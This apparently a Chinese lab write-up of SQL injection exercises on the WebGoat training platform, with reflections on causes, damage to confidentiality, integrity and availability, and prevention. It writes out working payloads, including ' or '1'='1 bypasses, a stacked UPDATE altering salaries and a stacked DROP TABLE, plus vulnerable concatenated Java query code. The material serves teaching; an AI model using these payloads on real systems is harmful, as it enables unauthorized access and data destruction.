基于WebGoat平台的SQL注入攻击

目录

引言

一、安装好JAVA

二、下载并运行WebGoat

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

2. 第十题

3. 第十一题

4. 第十二题

5. 第十三题

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

(2)完整性

(3)可用性

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

6. 怎样预防和避免SQL 注入攻击。


引言

熟悉WebGoat平台,在该平台上实现SQL注入攻击。

(1)下载webgoat-server-8.2.2.jar。

(2)搭建java环境。

(3)运行webgoat。

(4)实施SQL注入攻击。

一、安装好JAVA

二、下载并运行WebGoat

本文置顶免费下载,解压即可。

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

原SQL语句

"SELECT * FROM user_data 

    WHERE first_name = 'John' 

        AND last_name = ' " + lastName + " ' ";

填入如下:

SELECT * FROM user_data 

    WHERE first_name = 'John' 

        AND last_name =  'Smith'  or '1'='1' ;

成功查到所有用户的信息。

2. 第十题

原SQL语句

"SELECT * FROM user_data 

    WHERE login_count = " + Login_Count + " 

    AND userid = "  + User_ID;

输入:

SQL语句变为:

SELECT * FROM user_data 

WHERE login_count = 1 

AND userid = '1' or '1' = '1' ;

成功查到所有用户的信息。

3. 第十一题

原SQL语句:

"SELECT * FROM employees 

    WHERE last_name = '" + name + "' 

        AND auth_tan = '" + auth_tan + "'";

填入:

SQL语句变为:

SELECT * FROM employees 

    WHERE last_name = '小煊' 

    AND auth_tan = ' ' or'1'='1 ';

成功查到用户信息:

4. 第十二题

原SQL语句:

"SELECT * FROM employees 

    WHERE last_name = '" + name + "' 

        AND auth_tan = '" + auth_tan + "'";

填入:

Employee Name:小煊

Authentication TAN: '; update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith

(在一个查询语句中注入一个修改语句,从而破坏数据库中的数据,从而破坏了完整性。)

SQL语句变为:

SELECT * FROM employees 

    WHERE last_name = '小煊' 

        AND auth_tan = ' ';

update employees set salary =1000000 

    where first_name = 'John' 

        and last_name = 'Smith    ' ;

成功查到并插入用户信息:

5. 第十三题

原SQL语句如下:

"SELECT * FROM user_data 

    WHERE login_count ='"+variable+"'";

填入:

SQL语句变为:

SELECT * FROM user_data 

    WHERE login_count ='  '; 

drop table access_log; 

--  ';

(通过--注释把后面的’注释掉,成功将数据库的资源删除)

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

假设有一个简单的用户登录功能,用户输入用户名和密码,然后将其传递给数据库执行查询以验证登录信息。

String username = request.getParameter("username");

String password = request.getParameter("password");

String SQL = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

在上述代码中,使用用户输入的数据直接拼接成SQL查询语句。然而,当用户在用户名或密码中输入恶意字符,就可能导致SQL注入攻击的发生。

例如,用户输入的密码为' OR '1'='1,那么最终构造的SQL查询语句为:

SELECT * FROM users 

    WHERE username='admin' 

        AND password='' OR '1'='1'

这个查询会返回所有用户,而不仅仅是匹配用户名和密码的用户,因为'1'='1'始终为真。这样,攻击者就可以绕过身份验证,并获得未授权的访问权限。

当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。 这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web 应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

机密性是指保证信息不被非授权访问,即 使非授权用户得到信息也无法知晓信息内容,因而不能使用。SQL注入攻击可能导致数据库中的敏感信息泄露,例如用户账号、密码、个人资料等。攻击者可以通过构造恶意的SQL语句,绕过正常的身份验证和授权机制,获取到未经授权的数据。

如通过拼接字符串,使得SQL语句中有条件永远为真,不需要判断其他条件

这样输入之后可以看到数据库里全部人的信息。

(2)完整性

完整性是指维护信息的一致性,即信息在生成、传输、存储和使用过程中不应该发生人为或非人为的非授权篡改。信息的完整性包括两个方面:

数据完整性:数据没有被(未授权)篡改或者损坏;

系统完整性:系统未被非法操纵,按既定的目标运行。

攻击者可以利用SQL注入对数据库中的数据进行篡改,包括插入虚假数据、修改现有数据甚至删除数据。这可能导致系统中存储的数据被损坏或篡改,影响业务流程的正常运作。

如上面写的第十二题,在SQL语句执行的时候更改了其他数据,破坏了数据完整性。

(3)可用性

可用性是指保障信息资源随时可提供服务的能力特性,即授权用户可根据需要可以随时访问所需信息。可用性是信息资源服务功能和性能可靠性的度量,涉及到物理、网络、系统、数据、应用和用户等多方面的因素,是对信息网络总体可靠性的要求。

SQL注入攻击还可能导致数据库系统的服务不可用,包括数据库服务器崩溃、拒绝服务等情况。攻击者可以通过发送恶意的SQL查询或指令,消耗数据库系统的资源,导致其无法正常响应合法用户的请求,从而影响系统的可用性。

如上面写的第十三题,通过--注释把后面的’注释掉,成功将数据库的资源删除。

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

SELECT * FROM user_data 

    WHERE first_name = 'John' 
    
        AND last_name =  ' Smith'  or '1'='1 ' ;

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

SELECT * FROM employees 

WHERE last_name = '小煊' 

AND auth_tan = ' ';

update employees 

    set salary = 100 

        where first_name = 'John' 

            and last_name = 'Smith    ';

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

SELECT * FROM user_data 

WHERE login_count ='  '; 

drop table access_log; 

--  ';

6. 怎样预防和避免SQL 注入攻击。

(1)严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害;

(2)校验参数的数据格式是否合法(可以使用正则或特殊字符的判断),对进入数据库的特殊字符进行转义处理,或编码转换。

(3)预编译 SQL(Java 中使用 PreparedStatement对特殊符号进行转义处理),参数化查询方式,避免 SQL 拼接,发布前,利用工具进行 SQL 注入检测

相关推荐

  1. SQL注入攻击 - 基于时间盲注

    2024-07-21 20:38:03       70 阅读
  2. SQL 注入攻击 - insert注入

    2024-07-21 20:38:03       59 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-21 20:38:03       172 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-21 20:38:03       190 阅读
  3. 在Django里面运行非项目文件

    2024-07-21 20:38:03       158 阅读
  4. Python语言-面向对象

    2024-07-21 20:38:03       171 阅读

热门阅读

  1. 生成表的DDL语句没有字段描述和表名描述

    2024-07-21 20:38:03       31 阅读
  2. bitset和set总结

    2024-07-21 20:38:03       23 阅读
  3. Flask校验

    2024-07-21 20:38:03       30 阅读
  4. 基带成型(脉冲成形)

    2024-07-21 20:38:03       33 阅读
  5. mysql索引篇

    2024-07-21 20:38:03       32 阅读
  6. FedAvg

    FedAvg

    2024-07-21 20:38:03      30 阅读
  7. 我在vue2重生之vite加强版

    2024-07-21 20:38:03       27 阅读
  8. 2024.7.20 暑期训练记录(6)

    2024-07-21 20:38:03       30 阅读
  9. 调用第三方接口-OkHttpClient

    2024-07-21 20:38:03       33 阅读
  10. C Prinmer Plus笔记第1-6章

    2024-07-21 20:38:03       34 阅读
  11. MySQL8的备份方案——差异备份(CentOS)

    2024-07-21 20:38:03       34 阅读
  12. C语言——数组指针

    2024-07-21 20:38:03       38 阅读
  13. 【Golang 面试基础题】每日 5 题(一)

    2024-07-21 20:38:03       39 阅读